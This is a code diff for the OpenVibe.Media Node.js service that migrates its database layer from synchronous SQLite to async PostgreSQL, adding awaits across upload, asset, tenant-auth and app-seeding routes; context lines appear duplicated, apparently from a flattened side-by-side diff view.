+router.get('/ops', async (req, res) => {
try {
try {
if (!_opsStaffOnly(req, res)) return;
if (!_opsStaffOnly(req, res)) return;
- res.json(require('../me/ops').report({ appId: req.appId, limit: req.query.limit }));
+ res.json(await require('../me/ops').report({ appId: req.appId, limit: req.query.limit }));
} catch (err) {
} catch (err) {
console.error('[Admin] Ops report error:', err.message);
console.error('[Admin] Ops report error:', err.message);
res.status(500).json({ error: 'Failed to build the operator report' });
res.status(500).json({ error: 'Failed to build the operator report' });
@@ -674,10 +674,10 @@ router.get('/ops', (req, res) => {
@@ -674,10 +674,10 @@ router.get('/ops', (req, res) => {
});
});
// POST /ops/recompute — refresh this app's namespaces' usage snapshot from the rows.
// POST /ops/recompute — refresh this app's namespaces' usage snapshot from the rows.
-router.post('/ops/recompute', (req, res) => {
+router.post('/ops/recompute', async (req, res) => {
try {
try {
if (!_opsStaffOnly(req, res)) return;
if (!_opsStaffOnly(req, res)) return;
- const out = require('../me/ops').recompute({ appId: req.appId });
+ const out = await require('../me/ops').recompute({ appId: req.appId });
console.log(`[Admin] Namespace usage recomputed (${req.appId}): ${out.namespaces} namespace(s)`);
console.log(`[Admin] Namespace usage recomputed (${req.appId}): ${out.namespaces} namespace(s)`);
res.json(out);
res.json(out);
} catch (err) {
} catch (err) {
@@ -36,7 +36,7 @@ function assetPublic(a) {
@@ -36,7 +36,7 @@ function assetPublic(a) {
};
};
}
}
-router.post('/', tenantAuth(), upload.single('file'), (req, res) => {
+router.post('/', tenantAuth(), upload.single('file'), async (req, res) => {
try {
try {
const { kind, name } = req.body || {};
const { kind, name } = req.body || {};
if (!['emote', 'sound'].includes(kind)) return res.status(400).json({ error: "kind must be 'emote' or 'sound'" });
if (!['emote', 'sound'].includes(kind)) return res.status(400).json({ error: "kind must be 'emote' or 'sound'" });
@@ -47,9 +47,9 @@ router.post('/', tenantAuth(), upload.single('file'), (req, res) => {
@@ -47,9 +47,9 @@ router.post('/', tenantAuth(), upload.single('file'), (req, res) => {
fs.writeFileSync(filePath, req.file.buffer);
fs.writeFileSync(filePath, req.file.buffer);
let meta = {};
let meta = {};
try { meta = req.body.meta ? JSON.parse(req.body.meta) : {}; } catch { /* */ }
try { meta = req.body.meta ? JSON.parse(req.body.meta) : {}; } catch { /* */ }
- const prev = db.get('SELECT file_path FROM assets WHERE app_id = ? AND kind = ? AND name = ? AND channel_username = ?',
+ const prev = await db.get('SELECT file_path FROM assets WHERE app_id = ? AND kind = ? AND name = ? AND channel_username = ?',
[req.appId, kind, String(name), String(req.body.channel_username || '')]);
[req.appId, kind, String(name), String(req.body.channel_username || '')]);
- const row = db.upsertAsset({
+ const row = await db.upsertAsset({
app_id: req.appId, kind, name: String(name).slice(0, 100),
app_id: req.appId, kind, name: String(name).slice(0, 100),
file_path: filePath, mime: req.file.mimetype || 'application/octet-stream',
file_path: filePath, mime: req.file.mimetype || 'application/octet-stream',
user_id: req.body.user_id != null ? parseInt(req.body.user_id, 10) || null : null,
user_id: req.body.user_id != null ? parseInt(req.body.user_id, 10) || null : null,
@@ -69,24 +69,24 @@ router.post('/', tenantAuth(), upload.single('file'), (req, res) => {
@@ -69,24 +69,24 @@ router.post('/', tenantAuth(), upload.single('file'), (req, res) => {
}
}
});
});
-router.get('/', tenantAuth(), (req, res) => {
+router.get('/', tenantAuth(), async (req, res) => {
try {
try {
const limit = Math.min(Math.max(parseInt(req.query.limit || '200', 10), 1), 1000);
const limit = Math.min(Math.max(parseInt(req.query.limit || '200', 10), 1), 1000);
const offset = Math.max(parseInt(req.query.offset || '0', 10), 0);
const offset = Math.max(parseInt(req.query.offset || '0', 10), 0);
const kind = ['emote', 'sound'].includes(req.query.kind) ? req.query.kind : null;
const kind = ['emote', 'sound'].includes(req.query.kind) ? req.query.kind : null;
- const assets = db.listAssets(req.appId, { kind, limit, offset }).map(assetPublic);
- res.json({ assets, total: db.countAssets(req.appId, { kind }), limit, offset });
+ const assets = (await db.listAssets(req.appId, { kind, limit, offset })).map(assetPublic);
+ res.json({ assets, total: await db.countAssets(req.appId, { kind }), limit, offset });
} catch (err) {
} catch (err) {
res.status(500).json({ error: 'Failed to list assets' });
res.status(500).json({ error: 'Failed to list assets' });
}
}
});
});
-router.delete('/:id', tenantAuth(), (req, res) => {
+router.delete('/:id', tenantAuth(), async (req, res) => {
try {
try {
- const a = db.getAssetById(parseInt(req.params.id, 10));
+ const a = await db.getAssetById(parseInt(req.params.id, 10));
if (!a || a.app_id !== req.appId) return res.status(404).json({ error: 'Not found' });
if (!a || a.app_id !== req.appId) return res.status(404).json({ error: 'Not found' });
try { if (a.file_path && fs.existsSync(a.file_path)) fs.unlinkSync(a.file_path); } catch { /* */ }
try { if (a.file_path && fs.existsSync(a.file_path)) fs.unlinkSync(a.file_path); } catch { /* */ }
- db.deleteAsset(a.id);
+ await db.deleteAsset(a.id);
res.json({ success: true });
res.json({ success: true });
} catch (err) {
} catch (err) {
res.status(500).json({ error: 'Failed to delete asset' });
res.status(500).json({ error: 'Failed to delete asset' });
@@ -173,9 +173,9 @@ function verbAllowed(claims, verb, namespace, { strict = false } = {}) {
@@ -173,9 +173,9 @@ function verbAllowed(claims, verb, namespace, { strict = false } = {}) {
* namespace reads) checks each namespace it touches with namespaceGrant(); here the token must hold
* namespace reads) checks each namespace it touches with namespaceGrant(); here the token must hold
* the verb and some namespace of this tenant. A `capability` route checks it for the root, as before.
* the verb and some namespace of this tenant. A `capability` route checks it for the root, as before.
*/
*/
-function tenantGrant(claims, { capability, verb, namespaced }, appId, root) {
+async function tenantGrant(claims, { capability, verb, namespaced }, appId, root) {
if (!verb) return capabilities.check({ ...claims, ns: grantedNamespaces(claims) }, capability, { namespace: root });
if (!verb) return capabilities.check({ ...claims, ns: grantedNamespaces(claims) }, capability, { namespace: root });
- if (!namespaced) return verbAllowed(claims, verb, root, { strict: require('./objects/namespaces').isStrict(appId, root) });
+ if (!namespaced) return verbAllowed(claims, verb, root, { strict: await require('./objects/namespaces').isStrict(appId, root) });
const c = verbAllowed(claims, verb, undefined);
const c = verbAllowed(claims, verb, undefined);
if (!c.allowed) return c;
if (!c.allowed) return c;
return touchesTenant(grantedNamespaces(claims), root) ? c : { allowed: false, code: 'capability.namespace_denied', reason: `namespace ${root} not granted` };
return touchesTenant(grantedNamespaces(claims), root) ? c : { allowed: false, code: 'capability.namespace_denied', reason: `namespace ${root} not granted` };
@@ -185,9 +185,9 @@ function tenantGrant(claims, { capability, verb, namespaced }, appId, root) {
@@ -185,9 +185,9 @@ function tenantGrant(claims, { capability, verb, namespaced }, appId, root) {
* May this request do `verb` in `namespace` of its tenant? The app key (and an upload or session
* May this request do `verb` in `namespace` of its tenant? The app key (and an upload or session
* token, scoped to its object already) may do anything; a Network token as its grant says.
* token, scoped to its object already) may do anything; a Network token as its grant says.
*/
*/
-function namespaceGrant(req, verb, namespace) {
+async function namespaceGrant(req, verb, namespace) {
if (!req.grant) return { allowed: true, code: null, reason: null };
if (!req.grant) return { allowed: true, code: null, reason: null };
- return verbAllowed(req.grant, verb, namespace, { strict: require('./objects/namespaces').isStrict(req.appId, namespace) });
+ return verbAllowed(req.grant, verb, namespace, { strict: await require('./objects/namespaces').isStrict(req.appId, namespace) });
}
}
// ── Developer-project tenants (roadmap Wave 20, ADR-014) ─────
// ── Developer-project tenants (roadmap Wave 20, ADR-014) ─────
@@ -202,17 +202,17 @@ const isAppPrincipal = (claims) => !!claims && (claims.actor_type === 'app' || /
@@ -202,17 +202,17 @@ const isAppPrincipal = (claims) => !!claims && (claims.actor_type === 'app' || /
* app.<project_id> and app.<project_id>.sandbox with their children. Nothing is created unless the
* app.<project_id> and app.<project_id>.sandbox with their children. Nothing is created unless the
* token's project_id is the path's project and the token holds this route's verb there.
* token's project_id is the path's project and the token holds this route's verb there.
*/
*/
-function projectTenant(req, res, next, projectId, claims, grant) {
+async function projectTenant(req, res, next, projectId, claims, grant) {
if (claims.project_id !== projectId) {
if (claims.project_id !== projectId) {
return problem(res, 403, 'capability.namespace_denied', `this app token belongs to ${claims.project_id || 'no project'}, not ${projectId}`);
return problem(res, 403, 'capability.namespace_denied', `this app token belongs to ${claims.project_id || 'no project'}, not ${projectId}`);
}
}
const env = claims.env === 'sandbox' ? 'sandbox' : 'production';
const env = claims.env === 'sandbox' ? 'sandbox' : 'production';
const tenantId = db.projectTenantId(projectId, env);
const tenantId = db.projectTenantId(projectId, env);
- const c = tenantGrant(claims, grant, tenantId, db.rootNamespace({ app_id: tenantId, project_id: projectId, env }));
+ const c = await tenantGrant(claims, grant, tenantId, db.rootNamespace({ app_id: tenantId, project_id: projectId, env }));
if (!c.allowed) return problem(res, 403, c.code, c.reason);
if (!c.allowed) return problem(res, 403, c.code, c.reason);
let tenant;
let tenant;
try {
try {
- tenant = db.ensureProjectTenant(projectId, env, (env === 'sandbox' ? config.apps.sandboxQuotaMb : config.apps.projectQuotaMb) * 1024 * 1024);
+ tenant = await db.ensureProjectTenant(projectId, env, (env === 'sandbox' ? config.apps.sandboxQuotaMb : config.apps.projectQuotaMb) * 1024 * 1024);
} catch (err) {
} catch (err) {
if (err.code === 'media.tenant.conflict') return problem(res, 409, err.code, err.message);
if (err.code === 'media.tenant.conflict') return problem(res, 409, err.code, err.message);
throw err;
throw err;
@@ -236,7 +236,7 @@ function tenantPath(app) {
@@ -236,7 +236,7 @@ function tenantPath(app) {
* Tenants that exist only to be reached with service tokens (no API key is ever issued):
* Tenants that exist only to be reached with service tokens (no API key is ever issued):
* OpenVibe.Community stores screenshot bytes here under its own namespace.
* OpenVibe.Community stores screenshot bytes here under its own namespace.
*/
*/
-function ensureTokenOnlyApps() {
+async function ensureTokenOnlyApps() {
// Services that reach Media only with Network service tokens (no app key). Quotas are per tenant.
// Services that reach Media only with Network service tokens (no app key). Quotas are per tenant.
for (const [appId, name, quotaGb] of [
for (const [appId, name, quotaGb] of [
['community', 'OpenVibe.Community', 10],
['community', 'OpenVibe.Community', 10],
@@ -245,8 +245,8 @@ function ensureTokenOnlyApps() {
@@ -245,8 +245,8 @@ function ensureTokenOnlyApps() {
['wiki', 'OpenVibe.Wiki', 10], // Wave 16 page attachments
['wiki', 'OpenVibe.Wiki', 10], // Wave 16 page attachments
['blog', 'OpenVibe.Blog', 10], // Wave 16 post attachments
['blog', 'OpenVibe.Blog', 10], // Wave 16 post attachments
]) {
]) {
- if (!db.getApp(appId)) db.run("INSERT INTO apps (app_id, name, api_key_hash, quota_bytes) VALUES (?, ?, '', ?)", [appId, name, quotaGb * 1024 ** 3]);
- db.ensureRootNamespace(db.getApp(appId));
+ if (!await db.getApp(appId)) await db.run("INSERT INTO apps (app_id, name, api_key_hash, quota_bytes) VALUES (?, ?, '', ?)", [appId, name, quotaGb * 1024 ** 3]);
+ await db.ensureRootNamespace(await db.getApp(appId));
}
}
}
}
@@ -305,7 +305,7 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespa
@@ -305,7 +305,7 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespa
if (verb && !VERBS[verb]) throw new Error(`tenantAuth: unknown verb ${verb}`);
if (verb && !VERBS[verb]) throw new Error(`tenantAuth: unknown verb ${verb}`);
const named = verb ? VERBS[verb][0] : capability;
const named = verb ? VERBS[verb][0] : capability;
const grant = { capability, verb, namespaced };
const grant = { capability, verb, namespaced };
- return (req, res, next) => {
+ return async (req, res, next) => {
const appId = String(req.params.app || '').trim();
const appId = String(req.params.app || '').trim();
const token = bearerToken(req);
const token = bearerToken(req);
@@ -327,11 +327,11 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespa
@@ -327,11 +327,11 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespa
return problem(res, 403, named ? 'capability.namespace_denied' : 'capability.denied',
return problem(res, 403, named ? 'capability.namespace_denied' : 'capability.denied',
named ? 'app tokens reach only /<project_id>/ tenants' : 'app tokens are not accepted on this route');
named ? 'app tokens reach only /<project_id>/ tenants' : 'app tokens are not accepted on this route');
}
}
- return projectTenant(req, res, next, appId, svc, grant);
+ return await projectTenant(req, res, next, appId, svc, grant);
}
}
if (svc && svc.env === 'sandbox') return problem(res, 401, 'token.sandbox_refused', 'only developer-app sandbox tokens are accepted, on their own project tenant');
if (svc && svc.env === 'sandbox') return problem(res, 401, 'token.sandbox_refused', 'only developer-app sandbox tokens are accepted, on their own project tenant');
- const app = appId ? db.getApp(appId) : null;
+ const app = appId ? await db.getApp(appId) : null;
// Developer-project tenants are reachable only through their project's app tokens (above).
// Developer-project tenants are reachable only through their project's app tokens (above).
if (!app || app.project_id) return res.status(404).json({ error: 'Unknown app' });
if (!app || app.project_id) return res.status(404).json({ error: 'Unknown app' });
req.appId = appId;
req.appId = appId;
@@ -351,7 +351,7 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespa
@@ -351,7 +351,7 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespa
}
}
return next();
return next();
}
}
- if (token && isKeyOfOtherApp(token, appId)) {
+ if (token && await isKeyOfOtherApp(token, appId)) {
return res.status(403).json({ error: 'API key not valid for this app' });
return res.status(403).json({ error: 'API key not valid for this app' });
}
}
@@ -361,7 +361,7 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespa
@@ -361,7 +361,7 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespa
// that one action — no acting user.
// that one action — no acting user.
if (svc) {
if (svc) {
if (!named) return problem(res, 403, 'capability.denied', 'service tokens are not accepted on this route');
if (!named) return problem(res, 403, 'capability.denied', 'service tokens are not accepted on this route');
- const c = tenantGrant(svc, grant, appId, db.rootNamespace(app));
+ const c = await tenantGrant(svc, grant, appId, db.rootNamespace(app));
if (!c.allowed) return problem(res, 403, c.code, c.reason);
if (!c.allowed) return problem(res, 403, c.code, c.reason);
req.authType = 'app';
req.authType = 'app';
req.principal = { sub: svc.sub, cap: svc.cap, jti: svc.jti };
req.principal = { sub: svc.sub, cap: svc.cap, jti: svc.jti };
@@ -392,9 +392,9 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespa
@@ -392,9 +392,9 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespa
}
}
/** Does the presented key belong to some OTHER app? (for a precise 403) */
/** Does the presented key belong to some OTHER app? (for a precise 403) */
-function isKeyOfOtherApp(presentedKey, exceptAppId) {
+async function isKeyOfOtherApp(presentedKey, exceptAppId) {
const hash = db.hashApiKey(presentedKey);
const hash = db.hashApiKey(presentedKey);
- const row = db.get('SELECT app_id FROM apps WHERE api_key_hash = ?', [hash]);
+ const row = await db.get('SELECT app_id FROM apps WHERE api_key_hash = ?', [hash]);
return !!(row && row.app_id !== exceptAppId);
return !!(row && row.app_id !== exceptAppId);
}
}
@@ -405,11 +405,11 @@ function isKeyOfOtherApp(presentedKey, exceptAppId) {
@@ -405,11 +405,11 @@ function isKeyOfOtherApp(presentedKey, exceptAppId) {
* A Network JWT is deliberately NOT an identity here — see tenantAuth for why its
* A Network JWT is deliberately NOT an identity here — see tenantAuth for why its
* subject cannot be used as an app-local user id.
* subject cannot be used as an app-local user id.
*/
*/
-function optionalIdentity(req, _res, next) {
+async function optionalIdentity(req, _res, next) {
const token = bearerToken(req);
const token = bearerToken(req);
if (token) {
if (token) {
const hash = db.hashApiKey(token);
const hash = db.hashApiKey(token);
- const appRow = db.get('SELECT * FROM apps WHERE api_key_hash = ?', [hash]);
+ const appRow = await db.get('SELECT * FROM apps WHERE api_key_hash = ?', [hash]);
if (appRow) {
if (appRow) {
req.authType = 'app';
req.authType = 'app';
req.appRow = appRow;
req.appRow = appRow;
@@ -438,7 +438,7 @@ function tenantCors(req, res, next) {
@@ -438,7 +438,7 @@ function tenantCors(req, res, next) {
// ── App seeding ──────────────────────────────────────────────
// ── App seeding ──────────────────────────────────────────────
-function seedApps() {
+async function seedApps() {
let seeded = 0;
let seeded = 0;
if (config.apps.seedJson) {
if (config.apps.seedJson) {
@@ -447,7 +447,7 @@ function seedApps() {
@@ -447,7 +447,7 @@ function seedApps() {
for (const entry of Array.isArray(list) ? list : []) {
for (const entry of Array.isArray(list) ? list : []) {
if (!entry || !entry.app_id || !entry.api_key) continue;
if (!entry || !entry.app_id || !entry.api_key) continue;
if (/^prj_/.test(String(entry.app_id))) { console.warn(`[Auth] MEDIA_APPS_SEED: ${entry.app_id} skipped (developer-project tenants never get an API key)`); continue; }
if (/^prj_/.test(String(entry.app_id))) { console.warn(`[Auth] MEDIA_APPS_SEED: ${entry.app_id} skipped (developer-project tenants never get an API key)`); continue; }
- db.upsertApp(entry);
+ await db.upsertApp(entry);
seeded++;
seeded++;
}
}
} catch (err) {
} catch (err) {
@@ -464,9 +464,9 @@ function seedApps() {
@@ -464,9 +464,9 @@ function seedApps() {
if (!app_id || !api_key) continue;
if (!app_id || !api_key) continue;
if (/^prj_/.test(app_id)) { console.warn(`[Auth] MEDIA_APP_KEYS: ${app_id} skipped (developer-project tenants never get an API key)`); continue; }
if (/^prj_/.test(app_id)) { console.warn(`[Auth] MEDIA_APP_KEYS: ${app_id} skipped (developer-project tenants never get an API key)`); continue; }
// Don't clobber a richer MEDIA_APPS_SEED entry for the same app.
// Don't clobber a richer MEDIA_APPS_SEED entry for the same app.
- const existing = db.getApp(app_id);
+ const existing = await db.getApp(app_id);
if (existing && config.apps.seedJson && config.apps.seedJson.includes(`"${app_id}"`)) continue;
if (existing && config.apps.seedJson && config.apps.seedJson.includes(`"${app_id}"`)) continue;
- db.upsertApp({
+ await db.upsertApp({
app_id,
app_id,
name: existing?.name || app_id,
name: existing?.name || app_id,
api_key,
api_key,
@@ -479,8 +479,8 @@ function seedApps() {
@@ -479,8 +479,8 @@ function seedApps() {
}
}
}
}
- if (seeded) console.log(`[Auth] Seeded/updated ${seeded} app(s): ${db.listApps().map(a => a.app_id).join(', ')}`);
- else if (!db.listApps().length) console.warn('[Auth] No apps configured — set MEDIA_APPS_SEED (all API calls will 404)');
+ if (seeded) console.log(`[Auth] Seeded/updated ${seeded} app(s): ${(await db.listApps()).map(a => a.app_id).join(', ')}`);
+ else if (!(await db.listApps()).length) console.warn('[Auth] No apps configured — set MEDIA_APPS_SEED (all API calls will 404)');
}
}
module.exports = {
module.exports = {
@@ -104,13 +104,13 @@ function createIngestHandler({ db, config, screenshotsDir, generateSlug, log = c
@@ -104,13 +104,13 @@ function createIngestHandler({ db, config, screenshotsDir, generateSlug, log = c
const file = path.join(screenshotsDir, `avatar-n${parseInt(user_id, 10) || 0}-${Date.now()}-${crypto.randomBytes(4).toString('hex')}.webp`);
const file = path.join(screenshotsDir, `avatar-n${parseInt(user_id, 10) || 0}-${Date.now()}-${crypto.randomBytes(4).toString('hex')}.webp`);
fs.writeFileSync(file, pic.buffer);
fs.writeFileSync(file, pic.buffer);
const slug = generateSlug();
const slug = generateSlug();
- const insert = () => db.run(`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, screenshot_path, metadata, ip_address)
- VALUES ('network', ?, ?, 'screenshot', ?, '', 'text', 'unlisted', ?, ?, NULL)`,
+ const insert = async () => await db.run(`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, screenshot_path, metadata, ip_address)
+ VALUES ('network', ?, ?, 'screenshot', ?, '', 'text', 'unlisted', ?, ?, NULL) RETURNING id`,
[slug, parseInt(user_id, 10) || null, `Avatar${username ? ' of ' + String(username).slice(0, 40) : ''}`, file,
[slug, parseInt(user_id, 10) || null, `Avatar${username ? ' of ' + String(username).slice(0, 40) : ''}`, file,
JSON.stringify({ kind: 'avatar', source_host: (() => { try { return new URL(url).hostname; } catch { return null; } })(), size_bytes: pic.buffer.length, mime_type: 'image/webp' })]);
JSON.stringify({ kind: 'avatar', source_host: (() => { try { return new URL(url).hostname; } catch { return null; } })(), size_bytes: pic.buffer.length, mime_type: 'image/webp' })]);
// The row and the avatar's media_object in one transaction (a database without the object model: the row alone).
// The row and the avatar's media_object in one transaction (a database without the object model: the row alone).
- if (typeof db.withObject === 'function') db.withObject('paste', (r) => r.lastInsertRowid, insert);
- else insert();
+ if (typeof db.withObject === 'function') await db.withObject('paste', (r) => r.lastInsertRowid, insert);
+ else await insert();
res.json({ ok: true, slug, url: `${config.publicUrl}/p/${slug}/screenshot`, width: pic.width, height: pic.height, bytes: pic.buffer.length });
res.json({ ok: true, slug, url: `${config.publicUrl}/p/${slug}/screenshot`, width: pic.width, height: pic.height, bytes: pic.buffer.length });
} catch (err) {
} catch (err) {
log.warn('[Avatar ingest]', err.message);
log.warn('[Avatar ingest]', err.message);
@@ -20,9 +20,16 @@ const config = {
@@ -20,9 +20,16 @@ const config = {
nodeEnv: process.env.NODE_ENV || 'development',
nodeEnv: process.env.NODE_ENV || 'development',
publicUrl: (process.env.MEDIA_PUBLIC_URL || 'https://openvibe.media').replace(/\/$/, ''),
publicUrl: (process.env.MEDIA_PUBLIC_URL || 'https://openvibe.media').replace(/\/$/, ''),
+ // PostgreSQL (ADR-035): DATABASE_URL serves (PgBouncer), DATABASE_DIRECT_URL migrates (owner). Without them,
+ // development uses an embedded PGlite database in data/pglite. path: the SQLite file of releases before
+ // PostgreSQL, read once by scripts/migrate-to-postgres.js.
db: {
db: {
+ url: process.env.DATABASE_URL || '',
+ directUrl: process.env.DATABASE_DIRECT_URL || '',
path: process.env.DB_PATH || './data/media.db',
path: process.env.DB_PATH || './data/media.db',
},
},
+ // Valkey (ADR-035): per-actor limit counters shared across processes; without it they count in this process.
+ valkey: { url: process.env.VALKEY_URL || '', prefix: process.env.VALKEY_PREFIX || 'ov:media:' },
vod: {
vod: {
path: process.env.VOD_PATH || './data/vods',
path: process.env.VOD_PATH || './data/vods',
@@ -2,112 +2,65 @@
@@ -2,112 +2,65 @@
* OpenVibe.Media — Database
* OpenVibe.Media — Database
*
*
* Lean port of the predecessor's vod/clip/paste helpers with app_id (tenant)
* Lean port of the predecessor's vod/clip/paste helpers with app_id (tenant)
- * scoping on every query. better-sqlite3 in WAL mode.
- *
- * Migration path: `importLegacyRows(table, rows, appId)` bulk-inserts rows from
- * the old streamer DB unchanged — only columns that exist in the new table are
- * used (extras ignored), ids preserved, app_id backfilled. The cutover script
- * can do: ATTACH old db, SELECT * per table, importLegacyRows('vods', rows, 'live').
+ * scoping on every query. PostgreSQL through openvibe-sdk/db (ADR-035); every helper is async.
+
*/
*/
'use strict';
'use strict';
const path = require('path');
const path = require('path');
const fs = require('fs');
const fs = require('fs');
const crypto = require('crypto');
const crypto = require('crypto');
-const Database = require('better-sqlite3');
+const { createDb } = require('openvibe-sdk/db');
const config = require('../config');
const config = require('../config');
+const MIGRATIONS = path.join(__dirname, '..', '..', 'migrations');
+const DEV_PGLITE = path.join(__dirname, '..', '..', 'data', 'pglite');
+
let database = null;
let database = null;
-function getDb() {
- if (database) return database;
- const dataDir = path.dirname(config.db.path);
- if (!fs.existsSync(dataDir)) fs.mkdirSync(dataDir, { recursive: true });
- database = new Database(config.db.path);
- database.pragma('journal_mode = WAL');
- const schema = fs.readFileSync(path.join(__dirname, 'schema.sql'), 'utf8');
- database.exec(schema);
- migrateColumns();
- migrateJobsTable(schema);
- migrateNamespaces();
- ensureObjectTriggers();
- normalizeThumbnailUrls();
- seedSettings();
- // Clips a restart left 'processing' are marked failed (and re-cut) by vod/clip-jobs.start() when
- // the SERVER boots, not here: every script that opens this database (backfills, reconcilers,
- // operator tools) comes through getDb(), and running it while the service is cutting a clip
- // used to fail that clip under it.
+/**
+ * The serving handle (ADR-035): DATABASE_URL through PgBouncer; in development without it, an embedded PGlite database
+ * in data/pglite (MEDIA_PGLITE_DIR overrides it). Migrations run first, as the owner (DATABASE_DIRECT_URL), or on the
+ * embedded handle. The schema, its triggers (retention holds, object deletes, object change events) and the default
+ * settings are migrations/NNNN_*.sql; timestamps stay SQLite's text (ov_now(), datetime() in the migration).
+ */
+async function openDb(cfg = config, { log = console, registry } = {}) {
+ if (!cfg.db.url) {
+ if (cfg.nodeEnv === 'production') throw new Error('DATABASE_URL is not set: production serves from PostgreSQL (OpenVibe.Host roles/data add-service.sh media)');
+ const dir = process.env.MEDIA_PGLITE_DIR || DEV_PGLITE;
+ // A drill reads its copy as it is (a local embedded copy outside production: the N-1 test).
+ if (require('../drill').enabled) return createDb({ pglite: dir, service: 'media-drill', registry, log });
+ log.warn(`[DB] DATABASE_URL unset: embedded PGlite database in ${dir} (development only, one process)`);
+ fs.mkdirSync(dir, { recursive: true });
+ const db = createDb({ pglite: dir, service: 'media', registry, log });
+ await db.migrate({ dir: MIGRATIONS, log });
+ return db;
+ }
+ // A restore drill (MEDIA_DRILL) reads the restored copy as it is: no migration, nothing written.
+ if (require('../drill').enabled) return createDb({ url: cfg.db.url, service: 'media-drill', registry, log });
+ if (!cfg.db.directUrl) throw new Error('DATABASE_DIRECT_URL is not set: migrations run with the owner role on a direct connection');
+ const owner = createDb({ url: cfg.db.directUrl, service: 'media-migrate', max: 1, log });
+ try { await owner.migrate({ dir: MIGRATIONS, log }); } finally { await owner.close(); }
+ return createDb({ url: cfg.db.url, service: 'media', registry, log });
+}
+
+/** Open the process-wide database once, at boot (server/index.js, scripts). */
+async function initDb(cfg = config, opts) {
+ if (!database && globalThis.__ovMediaTestDb) database = globalThis.__ovMediaTestDb; // tests (test/helpers/pg-preload.mjs)
+ if (!database) database = await openDb(cfg, opts);
return database;
return database;
}
}
-// One-time normalization: migrated rows stored old-stack thumbnail URLs
-// (/api/thumbnails/<name> or absolute variants). Canonical form is /t/<name>
-// — the legacy redirect route covers stragglers, but direct URLs cache better.
-function normalizeThumbnailUrls() {
- try {
- for (const table of ['vods', 'clips']) {
- const info = database.prepare(
- `UPDATE ${table}
- SET thumbnail_url = '/t/' || replace(thumbnail_url, rtrim(thumbnail_url, replace(thumbnail_url, '/', '')), '')
- WHERE thumbnail_url LIKE '%/api/thumbnails/%'`
- ).run();
- if (info.changes) console.log(`[DB] Normalized ${info.changes} legacy thumbnail URLs in ${table}`);
- }
- } catch (e) { console.warn('[DB] thumbnail URL normalization:', e.message); }
-}
-
-// Additive column migrations for DBs created before the column existed
-// (CREATE TABLE IF NOT EXISTS won't add columns to an existing table).
-function migrateColumns() {
- const wanted = {
- vods: [['managed_stream_id', 'INTEGER'], ['object_id', 'TEXT'], ['duration_source', 'TEXT']],
- clips: [['channel_user_id', 'INTEGER'], ['cut_error', 'TEXT'], ['cut_attempts', 'INTEGER DEFAULT 0'], ['cut_next_at', 'DATETIME'], ['object_id', 'TEXT']],
- files: [['object_id', 'TEXT']],
- pastes: [['object_id', 'TEXT']],
- // Developer-project tenants (ADR-014): project_id prj_<ULID>, env sandbox|production. NULL on first-party tenants.
- apps: [['project_id', 'TEXT'], ['env', 'TEXT']],
- media_holds: [['note', 'TEXT']],
- // Job fencing (server/jobs/queue.js): a claim's token; NULL on rows claimed before it existed.
- media_jobs: [['lease_token', 'TEXT']],
- };
- for (const [table, cols] of Object.entries(wanted)) {
- const existing = database.prepare(`PRAGMA table_info(${table})`).all().map(c => c.name);
- for (const [name, type] of cols) {
- if (existing.includes(name)) continue;
- database.exec(`ALTER TABLE ${table} ADD COLUMN ${name} ${type}`);
- console.log(`[DB] Added ${table}.${name}`);
- }
- }
+/** The process-wide database initDb() opened (clips a restart left 'processing' are re-cut by vod/clip-jobs.start()). */
+function getDb() {
+ // A test process gets a migrated database from test/helpers/pg-preload.mjs (node --import), before any test code.
+ if (!database && globalThis.__ovMediaTestDb) database = globalThis.__ovMediaTestDb;
+ if (!database) throw new Error('the database is not open: await initDb() at boot');
+ return database;
}
}
-/**
- * media_jobs was created schema-only (integer id, no app_id, status 'done') before the job worker
- * existed; nothing ever wrote it. Rebuild that shape into the current one from schema.sql, keeping
- * any rows (id mjob_legacy_<n>, tenant from the object, done -> succeeded), then create the indexes
- * that need the new columns. Idempotent: a database already in the new shape only gets its indexes.
- */
-function migrateJobsTable(schema) {
- const cols = database.prepare('PRAGMA table_info(media_jobs)').all().map(c => c.name);
- if (!cols.includes('app_id')) {
- const ddl = /CREATE TABLE IF NOT EXISTS media_jobs \([\s\S]*?\n\);/.exec(schema);
- if (!ddl) throw new Error('schema.sql has no media_jobs table');
- database.transaction(() => {
- database.exec('ALTER TABLE media_jobs RENAME TO media_jobs_v0');
- database.exec(ddl[0]);
- const moved = database.prepare(`INSERT INTO media_jobs (id, app_id, object_id, job_type, status, attempts, checkpoint, error, created_at, updated_at)
- SELECT 'mjob_legacy_' || v.id, COALESCE((SELECT o.app_id FROM media_objects o WHERE o.id = v.object_id), 'unknown'), v.object_id, v.job_type,
- CASE v.status WHEN 'done' THEN 'succeeded' ELSE v.status END, v.attempts, v.checkpoint, v.error, v.created_at, v.updated_at
- FROM media_jobs_v0 v`).run().changes;
- database.exec('DROP TABLE media_jobs_v0');
- console.log(`[DB] Rebuilt media_jobs for the job worker (${moved} row(s) kept)`);
- })();
- }
- database.exec(`
- CREATE INDEX IF NOT EXISTS idx_media_jobs_status ON media_jobs(status, job_type);
- CREATE INDEX IF NOT EXISTS idx_media_jobs_app ON media_jobs(app_id, id);
- CREATE INDEX IF NOT EXISTS idx_media_jobs_object ON media_jobs(object_id, job_type, status);
- CREATE UNIQUE INDEX IF NOT EXISTS idx_media_jobs_idem ON media_jobs(app_id, idempotency_key) WHERE idempotency_key IS NOT NULL;`);
-}
+/** Tests: use this handle as the process-wide database. */
+function setDb(db) { database = db; }
/**
/**
* SQL: is the object named by the SQL expression `ref` under an unreleased retention hold? Its own
* SQL: is the object named by the SQL expression `ref` under an unreleased retention hold? Its own
@@ -120,118 +73,49 @@ function heldSql(ref) {
@@ -120,118 +73,49 @@ function heldSql(ref) {
OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = ${ref})))`;
